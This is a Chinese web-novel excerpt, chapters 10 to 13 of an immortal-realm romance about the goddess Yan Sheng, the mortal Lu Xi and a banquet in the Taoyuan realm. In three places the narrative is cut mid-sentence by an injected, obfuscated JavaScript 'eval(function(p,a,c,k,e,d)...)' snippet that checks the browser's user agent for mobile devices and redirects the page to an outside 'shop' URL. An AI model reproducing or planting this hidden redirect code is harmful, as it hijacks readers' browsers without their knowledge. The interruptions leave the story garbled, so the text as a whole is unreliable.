颜笙不屑:“说得轻巧。明明自己也没成亲。” 陆析并不理睬,眼神定定地看着棉被。 颜笙从怀里掏出两张请柬,丢到两人眼前,说道:“下个月桃源蟾桂宴,届时宴会上会有很多灵食,可以延年益寿。我想带圆胖橘上去,让他讨些灵食。” 两张请柬印着天人的文字。 圆胖橘从被子里钻出脑袋,好奇地拈起其中一张。待看清“陆成”二字时,他两条眉毛立刻拧成了麻花。 “怎么,不认得自己的本名了?”颜笙在一旁笑道,“户部帮你查到了真名,你哪里是什么吧唧霸王。虽说如此,这名字你自己取的劳什子诨号‘像橘子’上台面些。” “我梦见的是真的,史书上都能查得到。就是有个人往水里丢了个锅,他身边也有个漂亮妹妹。”圆胖橘撇撇嘴,把那张请柬往边上一放,又拿起另一张写着“陆析”的,递向身旁那人。 陆析并未伸手,只淡淡道:“一张就够了。” 颜笙解释:“圆胖橘修为极低,必须要有人照顾。我那天极为忙碌,没法时刻看着他。” 她说来说去,只是要陆析照顾圆胖橘。陆析想推脱,但颜笙没给他开口机会,硬塞给他一块半遮面的面具,令他当日戴上,随后便离开了。 蟾桂宴这日是阴阳历的第十五日,抱朴派在此日也有活动。 寅时天未亮,元沁雪整晚在神庙前侍奉,困得眼皮打架,便闭上了眼睛。没过多久,大门传来响动,她微睁开眼睛,看见陆析抱着一只猫走进来。 紧接着,上次那位“落枕神使”从神像里走出来,和陆析寒暄几句,随后三人便凭空消失了。 元沁雪讶然失声,但由于太困,她继续睡下去了。 陆析怀里揣着变成猫的圆胖橘,等颜笙在显熠殿停稳时,才把圆胖橘轻轻放到地上。 圆胖橘落地时变成了人。初入显熠宫,他自然兴奋难掩,四处东张西望。看着看着,总觉得这里格外眼熟。 仔细一回忆,他豁然开朗:这里的布置竟然和鹤冲派一模一样! 圆胖橘拽着颜笙的袍子,质问道:“爹,你都成仙了,怎么还惦记陆掌门呀?” · 10. 蟾桂宴(一) 若说颜笙还惦记陆归年,那自然是谈不上。 颜笙当年对陆归年误解大于欣赏,后面相处久了积累些好感,也确实拿他当恋人相处过,但那也不足以让她一千年不变心。 后来的一千年里,她把一切按照天道的方式处理,假装天道还在,也只是为了捍卫天道的权威,稳定三界的秩序。 颜笙解释道:“与我无关,天道的布置。我住进来以后懒得换了。” “你住在天道的宫内,是改嫁给天道了?”圆胖橘废柴千年,一朝发现自己变成天选之子,喜色溢满整张圆脸。 很快地,圆胖橘笑不出来了。 颜笙郑重其事道:“没改嫁。陆掌门和天道是同一人,被我杀了。” 圆胖橘脸上的笑容稍纵即逝,哭丧着一张脸。 颜笙刚想上去说两句话体贴话,陆析比她先弯腰,安慰起圆胖橘。 她心说,这凡人还算是有点用处。 颜笙收拾出偏殿给圆胖橘两人居住。凡人是禁不起折腾的,让他们离开蟾桂宴后,可以暂住一晚,并承诺明日派神使送他们离开。 她临走前,又花了半个时辰,向两人详细讲述了蟾桂宴的相关事宜。随后,她想起来圆胖橘不会龟息术,便递给圆胖橘一个透明小球。 那小球看似轻盈,实则内蕴仙气,可以帮助圆胖橘在外面呼吸。 圆胖橘给它取名为“养气”。 颜笙心里嫌弃圆胖橘起名总不够韵致,但除他们以外没人知道,丢脸也丢不到哪去。然后她再三叮嘱圆胖橘,“谨记随时握好小球,万不可撒手。” 圆胖橘点点头。 但颜笙仍不能完全放心,转头看向陆析,嘱咐道:“你替盯紧他。” 陆析应允。 * 桃源每年都会举办大大小小的宴会,蟾桂宴是规模较大的一个,它的时间安排在百仙大会之后。 百仙大会是众仙家汇报季度工作的正式集会。神仙无论是自行飞升,还是通过封神榜成神,全都逃不过季度审核。 成仙并非安枕无忧,在百仙大会结束后,所有神仙都将收到一个季度评级,丁等戊等将面临贬谪下凡的风险,若得到丙等下会面临降薪降职。 而本年度成绩斐然的仙家,会在蟾桂宴上拿到封赏。 蟾桂宴并不限制仙阶,神仙忙碌了整整一个季度,大都借着这个机会放松身心。 桃源的职能机构和混沌类似,总共分为六个。颜笙隶属礼部,主要负责桃源所有的宴会和飞升考核,所以她的作息和其他仙人不同,平日里清闲些,节气日连轴转。 这段日子寅时便披星而出,到亥时抱月而归。宴会当日也是神出鬼没的,等临近宴会开始,她才回到显熠宫。 颜笙走到琴瑟殿门口,瞧见陆析站在前殿,专心致志给圆胖橘整理衣摆。 由于神仙们飞升时间有差异,宴会上仙人们总是穿着不同时代的装扮,总之不会有人觉得彼此是奇装异服。 圆胖橘穿着碧绿飞鱼纹圆领袍,左手捧着养气球,右臂夹着黑色圆顶大帽。 陆析则穿着白色直裰,风起时云袖飞扬,头上半扎起一个松散的发髻。他的打扮朴素居家,仙风道骨,看不到半点浮夸之处,悉如她飞升前所幻想的桃花源人。 颜笙不想打扰他们,绕过此殿径直回屋。 颜笙出来时,已经换上一套简约的白色褙子,头戴千余朵凝烟白蝉花拼成的头冠,与陆析的衣色相衬。 她惊艳一眄,秋波婉转。 陆析慌神片刻,随后迅速低头,他的举动没能逃过颜笙的眼睛。 颜笙忽然提起:“蟾桂宴场内皆是两人一桌,赴宴前需提前结伴。”说罢,她用余光瞥了陆析一眼,轻声补充道:“今年我尚未考虑好同行之人选。” 陆析默然不语。他不记得陆归年有设置过这等赴会规定,莫不是颜笙有意为之,他自然不想走入她的圈套。 颜笙见他一直沉默着,便是叹息一声,识趣地告辞。 * 离开显熠宫,颜笙边走边焦虑。 “两人同席”真不是颜笙信口开河,桃源境的宴会果真有这么一条奇葩规定。平时颜笙都是拉清凉殿的鳏夫崔攸霁一组,以投资经费作为交换。 不过今年,仙葩苑那次事故后,崔攸霁突然开始躲着她,也不知道发生了什么。 可是,颜笙决不能缺席。她是宴会的主事人,这场宴会的成绩和她下季度的评级挂钩。 任职的第一年,由于她没有监工,导致现场遇到仙子们在舞台抢位,导致舞台对称度被毁,那个季度颜笙拿到了丙下等。 颜笙吃了那次教训,往后每场宴会,都必须亲自坐镇压场。 正当她低头苦死冥想之际,视线里出现一双乌皮六合靴。 “颜笙上神,好巧。”男子的声音传来。 颜笙抬头看向来人,是前几日才初识的危冥星君,便与他客套:“这不是危冥星君吗?前段日子的花种可还好。” 上次两人一别,颜笙担心他将张脆枣的秘密说出去,影响了崔瑶的前途,便忍痛割爱,把家中几枚珍贵的花种送给危冥星君。 危冥星君拱了拱手,客套地表示对礼物的喜爱,说道:“吾妻下凡前在百花宫,这礼物实在是有心了。” 百花宫是桃源境的花仙所居住的地方,每位花仙都专司一种花的盛放,他们貌美以及多才多艺,宴会上负责舞乐的也是他们。 因此,这礼物是送到了危冥星君心坎里。 颜笙客气回去,“您若是喜欢,改日我再送您几包便是。”她说罢便转身离开,继续为人选的事烦闷。 危冥星君突然以折扇拦住她的去路。 颜笙拂开扇子,以眼白瞥向危冥星君:“你们这些男神仙啊,现在不在月下找茬儿了,改深山老林了,是方便抛尸吗?” “怎么会……”危冥星君话刚出口,便把折扇一横,飞出无数暗器。 颜笙飞身跃起,躲开暗器,急从袋子里掏出鞭子,重重甩鞭三下,地上尘土飞扬。危冥急急退身三步,躲开了鞭子,发间却落了尘。 鞭子再发起两次袭击,皆被躲过。颜笙随即停住鞭子,感慨:“还行,扛过了三招。” 危冥星君忽而问道:“挨过三招,是否有了被弑神的资格?” 颜笙听不懂这话,便问:“你是来寻死的?不要想不开,活着多好。只要不死,其他都不是事。”说罢,她用力拍了拍危冥星君肩膀。 危冥星君趁其不备,反手擒住颜笙,又道:“你输了。” 颜笙微笑着点头,“如此,甚好。” 危冥星君觉得这擒拿她,她的反应有点太过平静,便补问:“你认输了?”。颜笙依旧微笑点头,“如此,甚好。” 不对劲,他觉察出不对劲来。 就在此时,颜笙声音自树梢飘来:“我只是不想在这等日子动粗。这大过节的,可不能‘半夜笙歌’。” 很快地,危冥星君意识到,他擒住的颜笙只是个替身,而颜笙早已金蝉脱壳了。他抬头望去,树梢上面端坐着女上神,下巴微微扬着,似乎坐在那里好一会儿了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16961659|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 突然,颜笙跳下树,挥鞭子勾住危冥星君的脖子,用力勒着。危冥星君双颊憋红,额角青筋突起,用力向外扯鞭子。 这时鞭子突然松开。危冥星君剧烈地咳嗽。 等他呼吸平顺些,颜笙递给他一支装着清水的竹筒,看他接过竹筒,便问道:“死的滋味可不好过吧。” 危冥星君点头,便仰头往喉咙里倒水。 颜笙苦口婆心地劝告:“你就是上辈活得太顺,死得太干脆,才不懂得惜命。我轮回为人八十世,清楚记得每次离开前的感觉,那并不好受。与天斗与地斗,甚至诛杀天道,就是为了继续活下去。” “所以我最烦不惜命的。”颜笙道。 危冥星君叹了一口气,连连道歉,“是我给您添麻烦了。” “无妨,不打不相识。”颜笙说完这话又继续走,却听到危冥星君继续拦她,“颜笙上神,我有一事相商。” “哦。不是来寻死的。”颜笙转头看向危冥星君。 “您彻底误会了。我是来送情报的。”危冥星君尴尬地一笑,“难道你就不好奇吗?那日我观看张脆枣的罚印,看到了些不同寻常的东西。” * 天色渐暗,颜笙远眺宴会阁楼。 云朵搭建的池塘里,蓄满琼浆玉液,月光洒在水面,波光粼粼。陆续抵达会场的神仙,驾着五光十色的祥云,在夜幕下仿佛明度极低的烟花。 陆析和圆胖橘赶到殿门。 外面聚集大批仙人,无论男女都打扮得花枝招展,有人头戴九层仙塔,要么万里长城,有人衣裳拖曳几丈,走一步就要小童提着。 一个个都恨不得登上明日的桃源小报的版头。 为了这一刻,他们穿金戴翠,细致到耳环上每一颗石头都要磨得可以散发光芒,火彩要比藏在云深处的金乌闪耀。 虽然大多数都是瞎折腾,也就天庭反腐时给自己家雪上加霜吧。 圆胖橘这套衣服比起颜笙和陆析而言算是显眼,在此处却黯然失色。陆析着装更为朴素,还带着块面具遮脸,人也没多引人瞩目。 门口的仙人等待入场时,闲来无事,仙人们便开始叨叨:“听说了吗,今年端好饭拆伙了。” “端好饭?”圆胖橘凑过去问。 “就是那位女上神和崔攸霁,这俩人平时老是故作姿态,摆出一副瞧不起人的姿态。”仙人解释。 “这是肯定,前两天崔老六带着那位去仙葩苑,还把声音封堵住。也不知里面做了什么,给那位吓成木头人。老六又被崔瑶逮个正着,这下没脸来了。” “清凉殿宋青葱说,崔老六和崔瑶一同出席晚宴,落单的是那位。” “单人怎么进来?”神仙们互相对视一眼,露出意味深长地笑。 有人讽刺道:“今天想抢位置出风头的有福了。上次猪笼草仙子不就是抢风头……可人家上面有人,被罚的是那位。” 陆析面色煞时铁青。他自然知道这里的评级制度,这评级制度就是他定下的,为的是增强仙人们的积极性。 但桃源境何时又增加了双人出席制度? 陆析细想想,这一定又是神尊崔巍的主意。崔巍过去一直试图阻断三界通道,阻止其他界的居民飞升到桃源境,把神权垄断在桃源境。 桃源仙人参与宴会时两两凑对,不就是相亲?神仙们互相看对眼,生下仙胎,长大后担任仙职。那自然不需要混沌界的修行者了。 陆析想了想,他快点得告知颜笙才醒,便对圆胖橘说:“一会儿先别进去,我们在外面等等上神。” 11. 蟾桂宴(二) 崔瑶来的时候,后面跟着崔攸霁。崔攸霁个头不算特别高,挺着笔直身板跟在女儿后面,孤傲地扫视人群。 圆胖橘认出了崔瑶,便拉陆析袍角,“陆析,崔瑶姐姐后面的矮个子,是不是在找我爹。” 陆析按了一下圆胖橘的帽子,拽着圆胖橘到门口等候。 附近碎嘴子仙人,露出看热闹的表情,奚落道:“天上总有些不长脑的,以为能挖天道的墙角。最后都被那位打到‘半夜笙歌’了。” “那位其实也漂亮,可惜了,没人能娶她。” “要是万年前的那位,没准可以。” “天道?” “天道他哥。当初要不是他剑走偏锋……懂得都懂。最后拖累上古花仙被贬,让那个赘婿凡修捡漏。” “欸——感情的事,不要凭空幻想别人没有选择的路。”一位女子的声音传来。 诸仙听到声音耳熟,回头瞅见颜笙跟危冥星君并立于门前。 仙人们作鸟兽散,争先恐后涌入会场,只留下陆析和圆胖橘两人停在门口。 圆胖橘奔向颜笙,钻进颜笙怀里。颜笙抬头看一眼陆析,见他朝她点了一下头,慢慢朝她走来。 颜笙见陆析走近,便拿出一册食单,嘱咐道:“这里就交给你了。不要给他吃些对寿命有损的东西,多吃些清淡的。上面有标注,你自己看。我和星君先进去了。” 陆析把邀约的话咽了回去,心头泛起酸涩,此刻他把正事忘了,只僵僵地颔首:“好。” 颜笙也没多停留,便跟着危冥星君一同进入会场。 刚才在树林里,她和危冥星君刚聊完张脆枣弑神的事,看见时间有些晚了,便约定进会场里继续聊。 颜笙是宴会的负责人,需要坐在前面监督表演,座位靠前。陆析圆胖橘是凡夫,座位在出口附近。 不过颜笙进来前,与侍卫们交代几句,给他们安排了特殊的位置,观赏表演也不至于有所阻挡。 夜幕渐暗,在露天会场上方形成巨大的幕布,上面缀着万千颗星子。而四周布置的灯光瞬间点亮。 两侧琴瑟先自奏一曲《鹿鸣》烘托气氛,欢迎各位远道而来的仙人。 凡大型宴会必有歌舞,《清平乐》自然少不得,每年的《清平乐》都由清凉殿的人重新填词,笙箫悠扬,仙音绕梁。 曲罢,舞者翩然而至,他们身穿七彩衣裳,手持羽扇,舞动着飘飘彩云与红霞。 这些舞者多是花草仙人,他们面容或气质都极为出众,且都善歌善舞。但他们天性少不了争奇斗艳,比如说最近风头正盛的玉苏子。 颜笙一直盯着后台,瞧见舞者鲜红的舞裙里面,隐约飘着一抹显眼的白色,是穿着白衣和白鞋的玉苏子。 眼看着舞者们快要登场,颜笙眼疾手快丢去一个咒语,衣服变成红色。 危冥星君袁思邈见状哈哈大笑,“这是为了出风头?这种场合还要抢风头?” 颜笙冷笑道:“正是。这热度必能‘会当凌绝顶’,每年还能走一波‘温故而知新’。刚才那群仙人,不也帮我回忆了一波‘猪笼草’事件。” 袁思邈想到刚才门外听到议论,其实他会面颜笙之前,早将她往事查个干净,也知道猪笼草事件。 颜笙上神初为神仙时候筹办宴会,但首次宴会她因为天庭的凑对规定没能出席,结果遇到想出风头的神仙,导致被罚奉半年。 后来袁思邈听说崔攸霁此次不会和颜笙出席晚宴,故意踩着点雪中送炭。 袁思邈又道:“他既然已经打定主意出风头,那不仅仅会在衣服上做手脚。等会演出时有的忙了。” “不怕。”颜笙掏出一个琉璃水晶球,丢在舞台的角落处。那水晶球里冒出一团云雾,盖在舞台上。 随后她补充道:“我哪里敢放心,所以提前录制了一样的,他上台的时候,我们直接放幻影。” 这场演出顺利进行着,似乎没有出现大的纰漏。玉苏子对表演已被替换之事毫不知情,笑眯眯走下舞台,看向坐在前排的玄衣男子。 玄衣男子脸色不好,偏头朝颜笙望了一眼。 袁思邈注意到他们眼神的交流,以折扇戳了戳颜笙,小声问道:“神尊旁边坐着的是谁,从未在桃源见过他。” 颜笙道:“神尊庶子崔攸宁,好像是崔攸霁的兄长。他根本就不是桃源的人,平时在无常界呆着。” “未婚夫啊。”袁思邈道。 晚会到尾声亦有杂技、幻术以及参军戏等等,宾客们沉浸其中。颜笙将晚会把控得极好,辰时刚巧结束。 后面是颁奖。颜笙这边领完年度奖励的灵石回来,袁思邈便和颜笙聊起张脆枣。 在遇到张脆枣的隔日,袁思邈动用职权进入刑部阁库。 阁库内存放着大量卷宗,记载着桃源历年的大小案件,以年为编序。他很快翻到了一卷,里面包含着一位名为张脆枣的仙人。 卷宗里写着发生此事的具体时辰在一万三千年前,涉案人员包括张脆枣等上千人,罪名是多人斗殴,所有涉案人员按照罪行轻重被打入陀铃火渊或锁仙塔。 凭借阅过去读卷宗的经验,袁思邈很快觉察出这卷宗有问题:此案的记录过于简略,只有寥寥一句叙述,没有详细过程,像是在掩盖什么秘密。 袁思邈偷偷把卷宗这页印在神识里,便离开刑部阁库,转身去了一趟浩海阁。 浩海阁是桃源对外开放的藏书阁。袁思邈找到一部厚厚的仙史,长度高达一万三千年,发现前面留下几页空白。 颜笙听到此话,问道:“这么说,所有的线索都断了。” 袁思邈示意颜笙看桌子下面。等颜笙低下头,瞧见他手上握着一个卷轴,“你回去一看便知。” 这卷轴是以仙法绘制,卷中人物风景应该并非静止的,里面还藏有故事。 颜笙接过卷轴,在桌下微微展开,粗略地一瞥,画中是位穿着祭祀服饰的女子。再一瞥,惊觉那脸庞竟与自己一致。 她赶忙把卷轴卷好,藏卷于两仪袋,又问:“这画是从哪里拿的。” “那天我从浩海阁出来时候,在地上捡到了这画。”袁思邈道。 颜笙道:“这是有人刻意留下的?” 袁思邈点头,手心又幻化出一根九色麦芽:“这是夹在画卷里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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颜笙没心情理会,偏头继续和袁思邈聊天。 圆胖橘脑袋杵着桌面,捏着筷子戳向菜叶子,一根一根往嘴里送,味同嚼蜡。 一碗青菜汤面被缓缓推入视野。 圆胖橘瞪着陆析,怨念地戳了戳青菜。他发现筷子好像戳到什么硬的东西,便垂眸查看。 下方藏着两块排骨。 圆胖橘小心翼翼地看颜笙,瞧见颜笙和袁思邈相谈甚欢,根本没正眼瞧着这边。而颜笙的眼线仙及,满脸陶醉地啃着那些奇形怪状的叶子,也懒得管他。 圆胖橘喜笑颜开,大喊一声:“谢谢陆析。”说罢,他便把脸埋在碗里,哗啦哗啦往嘴里扒面。 他心里有点发虚,暗暗想着若是颜笙发现,必定要挨骂,吃得极为心不在焉。 不料,排骨啃得太急,喉咙被骨头噎住。 圆胖橘吓得一手揪住喉咙,一手抓向旁边陆析的袖子。 陆析见状,连忙施法化掉那骨头,然后递给圆胖橘一杯仙酿。 但圆胖橘喝下去只觉得呼吸越发艰难。他捂着喉咙,面色憋得通红,突然喊道:“养气……给我养气。” 12. 神尊捉奸 八卦是人类的天性。袁思邈作为当之无愧的乐子人,手里掌握着桃源境所有仙人的糗事。他选了不少分享给颜笙,而颜笙也听得聚精会神。 颜笙聊得疲了,拿起手边的杯子,抿了口水洇洇嗓子,同时以余光瞥向陆析和圆胖橘的位置。 然而,她的视线被仙及挡住了——那只哑蝉正用脑袋哐哐撞击着无形的空气墙。 这空气墙实乃一道结界,是袁思邈入座前特意加固的,其中更囊括了铁壁咒等防护法咒。 毕竟当乐子人是一件危险的事,他自然要未雨绸缪,只是颜笙事先对此并不知情。 仙及无法鸣叫,想要通知颜笙,只能一次次奋力撞向那面无形的屏障。 颜笙转眼间便挥手撤掉结界。 仙及直冲进来,撞入颜笙的手心,还没歇息两下,便急忙放出圆胖橘找养气的画面。 颜笙记得自己千叮咛万嘱咐,叫圆胖橘收拾好养气球,奈何他今日依旧没好好听话。 幸运的是,珠子是颜笙自己做的,里面蕴藏着她的一抹灵识,能听她的调遣。她一招手,养气球便滚到她脚下。 颜笙捡起养气球,正打算交还给圆胖橘,却发现陆析和圆胖橘两人早已不知去向。 袁思邈走向那饭桌旁,端详圆胖橘剩下的饭碗,火上浇油道:“这不是排骨面吗?还把肉藏在底下。看来大人也不省心。” 颜笙脸色极为难看,走到门口处询问守卫士兵,和士兵们交流了一会儿。 那些士兵表示,陆析和圆胖橘刚离开不久。两人临走前,陆析还交代他们转告颜笙,他们打算先回去抱朴派。 颜笙心说,他们两个还能自己回抱朴派? 两个凡躯又不能腾云驾雾,也不能通过神像,想回去只能从天上直接跳下去,那岂不是摔得粉骨碎身? 颜笙赶忙询问:“他们往哪里走了?” 士兵又给她指指北边,说:“他们走的方向是这里,我看着像仙葩苑的位置。” 仙葩苑?那不是仙面树的所在? 颜笙突然想到,陆析从鹤冲山通过人面树进入幽冥。莫非陆析是想到仙葩苑,找到仙面树,再通过仙面树回到鹤冲山。 这可不行! 桃源境四处都是神尊的眼线,一旦仙面树有异动,必定会惊动到他。以神尊的性子,能连通三界的东西自然能堵则堵。 颜笙头皮发麻,趁着众人不注意,悄悄冲出宴会场。 * 仙葩苑内,芳草萋萋,绿树葱郁,把枯败的仙面树衬得格外显眼。那棵树始终摆着一张臭脸,看着极为丑陋。 陆析急匆匆跑到仙面树下,天色太黑,他把背上昏迷的圆胖橘放在灌木丛,自己朝着树干施法,试图打开连通三界的大门。 圆胖橘刚才趴陆析背上,经历了剧烈颠簸,现在被放下时,胃里依旧翻江倒海。 他因为窒息而大口呼吸,胃中那股不适感觉愈发劲烈,再大口喘了一下,肚子里储存的食物突然翻涌上来。 圆胖橘摸不见陆析,眼前又一片黑暗,摸黑爬到仙面树旁边,继续将刚才吃下的东西都悉数吐了出来。 那些经过圆胖橘吐出的东西,沾染到仙面树的根茎。 树干上的仙面忽而舒眉展目,脑袋上枯败的枝条重新抽芽。 不到一会儿功夫,树枝上开满花苞。那些花苞又在一瞬之间绽放,光秃秃的树枝上被翠绿叶子填补,又生出圆润而饱满的橘子。 橘子散发着阵阵幽香,酸涩的气味传入圆胖橘鼻子里,他胃中的不适感稍有缓解。 陆析也瞧见了树上结的橘子,觉得眼前的情景极为古怪。但他过多思索,便手掐指诀,在仙面树表面一划。 树干上出现一道微微发亮的划痕。 一道浅红的光芒飘过,击中了陆析,却被陆析的护体功德反弹出去。 颜笙见此情景,闪现到陆析旁边,只能用自己的身躯将陆析扑倒在地。 仙面树上的划痕重新愈合。 遮盖陆析面容的半张面具在争斗中落地,露出那张宛若陆归年的脸。颜笙看到那张脸,一时更窝火。 她半坐起身,抽出束三生,抵着他的脖子,另一只手拽着他的领口,警告道:“你只是一个凡人,少逞能做些多余的事。” 陆析回避目光,只说:“救人要紧。” 说完这话,两人看见袁思邈站在圆胖橘旁边,他已经养气球交到圆胖橘的手里。圆胖橘抱着养气球,闭着眼猛吸气。 袁思邈看见陆析的脸,忽而恍然大悟。之前他就觉得陆析身形眼熟,这会儿看见了面具下那张白玉似的脸庞,才发现此人长得像已故天道。 像他这样的乐子人,哪里会放过好戏?他不能影响别人发挥。 “我这就带圆胖橘走,你们继续。”袁思邈拽着圆胖橘离远了,但他们也没走太远,就在站在能看清颜笙和陆析动向的最远地方,爬上了此地的一棵树上。 仙面树下只留下两人,那张仙面露出舒服的笑容,摇曳着满树橘红色的果实,在夜里就像摇曳的橘灯。 颜笙这时才注意到,仙面树竟在今日结了果实。 似乎这一切都是因为今日眼前的男子。 颜笙坐在陆析的身上,鞭子再次抵上陆析的脖子,她厉声质问:“你到底是谁?怎么每次三面树出现问题,你都在身边?” 说起这点,陆析其实也不清楚。 先前他脑海中出现陆归年的回忆,也曾怀疑自己身上有天道之力,便对着人面树施法,但当时人面树一动不动。 可今天不知怎么回事,这人面树竟然结果了。 陆析实话实说,“前面几次的确是巧合,至于今日……我也想知道是怎么回事。” 颜笙侧瞥一眼仙面树,心说仙面树上面结的果子都是当事人喜欢的,喜欢橘子好像也不是陆归年。 她瞬时冷静下来,一声不吭地收回鞭子,随即站了起来。 外面传来仓促的脚步声,她又紧张起来。 紧接着传来神尊的声音:“这里是桃源圣地,何人在此地苟且?” 颜笙转头,便看见一众仙人手提着各式样的花灯,排列在仙葩苑外。诸仙齐刷刷看着两人,眼神里尽是微妙。 “哪有人在苟且,不过是在赏花。”颜笙毫无慌色,“和我的人一起。” 陆析此刻还躺在地上,捡起散落在地的面具,匆匆盖回脸颊。颜笙忽捉住他的手腕,将他拽了起来。 诸仙中间突然闪出一道空隙。清癯俊秀的男子站在中间,他身材瘦高,生着对浓眉,披着厚毛绒斗篷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那鞭子并未用力,却如一道无形的束缚,将他虔诚地锁在她身前。陆析垂眸扫过颈间的鞭绳,仿佛自己如丧家之犬般被牵制,心头涌起一股屈辱却又暗涌躁动。 下一刻,颜笙抬手扯下他的面具,扬首向众仙展示出他的真容,那张与陆归年极为相似的面容。 “不劳各位费心,我选好仙侣了。”她宣告。 四下哗然。 颜笙嘴角露出一抹得逞的笑容,忽然拽紧长鞭,携他转身背对众人。她手上力道一收,陆析不得不更低地俯身。 两人呼吸交错,几乎唇齿相贴。她温热的气息拂过他唇角,无声地撩拨着他紧绷的神经。 后方传来低低地惊叹,还有仙人以手掩面,却又从指缝间偷觑这暧昧一幕 她的唇无限靠近,如樱桃的红润,忽使他想起她曾提过的酪樱桃。 他全身紧绷,心跳如擂鼓。理智在脑海中嘶喊着要他退却,感性敦促他继续沉沦。 于是疯长的欲念蛊惑他的全部心神,他闭上了双眼,等待着坠入陷阱。 可她始终停在分毫之外,她的呼吸热热地贴着他的脸,他的心快要跳出胸膛,灵魂快要再次溃散。他偷偷靠近些,忍不住欲主动贴上。 她却突然撤离。 “既然你对我没这个心思,”她轻笑,眼底却无温度,“我自然不会强求。” 陆析下意识手去揽她的纤腰,想用行动解释这并非他所想,却被她轻轻推开。 陆析算是明白了,她又是在利用他。 13. 入画 颜笙双手堵住陆析的嘴,语气温柔地说道:“不必现在给我答复。”她眼里满是是威胁,警告他不要乱说话。 陆析颔首,心说这场戏她到底还要演多久,像他前世那样演十年吗? 她总不会真要等着他归来?她到底有没有认真考虑过,若陆归年真的回归,被重新占有的不光是天道的位置,还包括她。 颜笙可是陆归年明媒正娶的妻子。 崔巍看着两人,也想到了这点。 “天下间居然有长得这么相似的两人。”崔巍端详陆析的面容,大声感慨道,“和陆归年像是一个模子刻出来。” 在场谁都听得出来,他这话是说给陆析听的。在感情里,谁愿意成为别人的替身。 陆析拿下颜笙的双手,目光清澈地问:“我和鹤冲派掌门生得像?” 颜笙一时语塞,没料到崔巍当着众人的面点破,而陆析居然还跟着附和,这不是拆她的台吗?于是她威胁道:“这不是你该参与的话题。” 陆析没理会她的警告,继续感慨道。“我长得像上神的爱人,还有这等好事?”说完嘴角还微笑着,看不出半点生气。 他又望向旁边的仙面树,瞧见满树的橘子,疑惑地问:“上神,那边怎么有棵橘子树?” 颜笙闻言一愣,刚才陆析和她因为这棵树起了争执,这会儿装成一副全然不知情的模样,到底在演什么? 她搞不明白状况,顺着他的继续说:“唔……好看吗?” 陆析走到树下,抬头望花,又看看颜笙,说道:“上神之前在鹤冲山,给我看过一次枯木逢春。这次在桃源境,还给我看同样的把戏。” 颜笙听这话后,才明白陆析葫芦里卖的什么药。 他是在坐实她身上拥有为仙面树枯木逢春的力量,把仙面树开花一事甩在她身上,从而洗脱自己的嫌疑。 不过也好,反正外面一直传言她身上继承什么天道之力,这会儿像是给她坐实了,以后诸仙得罪她之前也会好好掂量掂量。 树上的乐子人袁思邈看戏是看够了,也十分满意今日颜笙制造的惊喜,对结交的新盟友已经认定了。 袁思邈跳下树,向人群走来,“刚才我也看到了,颜笙上神施法让这树开花结果”他鼓了鼓掌,“没想到是拿来告白,真是大材小用。” 崔巍纳闷了,袁思邈是个寡言鲜语的人,在刑部是个劳模,私底下神出鬼没,浑不见人影。今日露面,却跑出来做起良缘阁的生意。 崔巍最畏惧未知,何况元思邈是刑部官员,不好得罪,便索性卖个面子,说道:“颜笙上神,私事自己拿捏,老夫便不过多干涉了。” 撂下这一句,崔巍带着崔攸宁两人离去。 仙人相继告辞离开此处,崔攸霁看着陆析表情淡淡的,崔瑶的模样像是天塌了。 这不是抱朴派那个守树的凡人吗?他义父前几天刚打过。 崔瑶整个人陷入了颜笙要把她逐出显熠宫的噩梦中,后面崔攸霁叫她都没听见,最后被宋家姐妹抬回清凉殿。 袁思邈留在原地,等到人群散离,他往前捏了一把陆析的脸,那脸怪紧致的,便说道:“不是人皮面具,还真有长得像的人。” 颜笙挡在中间,防止陆析再遭他毒手,继续道:“当初见到他的时候,我也吃了一惊,还当他是陆归年死遁。后来验过他的魂魄,的确是三魂结构的人族。” “这倒是。陆归年是神仙,只有一个天魂。”袁思邈盯着陆析的脸,继续感慨:“太像了,简直就是捏出来的。” 圆胖橘跳出来,说道:“庞大师拿七彩琉璃莲做的。” 袁思邈不解:“庞太师?侠义小说里的那个?“ 袁思邈摇头,“陆析的师叔,姓庞,名大师。” 颜笙解释:“我师父的转世,他是一位诈术师,精通世间所有奇淫巧技。混沌界毁灭重建后,陆析是世间最后一个人族,所以被他收起残魂重塑了身躯。” 袁思邈听完这话,沉默了一会儿,他和颜笙都曾是人族修士,想到人族落到灭绝的下场,不免感慨万千。 * 颜笙与危冥星君拜别,随后带着陆析和圆胖橘两人回到显熠殿。 陆析鬼使神差地走进主殿,颜笙半路截住,又指了指旁边的偏殿,嘲讽道:“别入戏,隔壁才是你的位置。” 圆胖橘从偏殿窜出来,挽起陆析手臂,对颜笙笑道:“爹,我带他过去。” 说完,他拽着陆析走了一路,到殿堂时安慰陆析,拍拍他后背,安慰道:“小陆没事,我爹说话总没好气。陆归年能听她好声好气,最后还不是死了。” 陆析会心一笑,被当面调侃也不恼,反倒跟着笑闹。 偏殿里的燃烧的蜡烛比人间的明亮,烛光随晚风摇曳,不到一个时辰便自然熄灭。 这是颜笙设置的定时,她平时保持着良好的作息,极少数可能熬夜,平时戌时末便已经入眠。 临睡前,颜笙打量一眼那画卷,看着画中和她相貌一致的女子跳着傩舞,想了很久也没有回忆起什么。 颜笙枕着那画卷睡下。 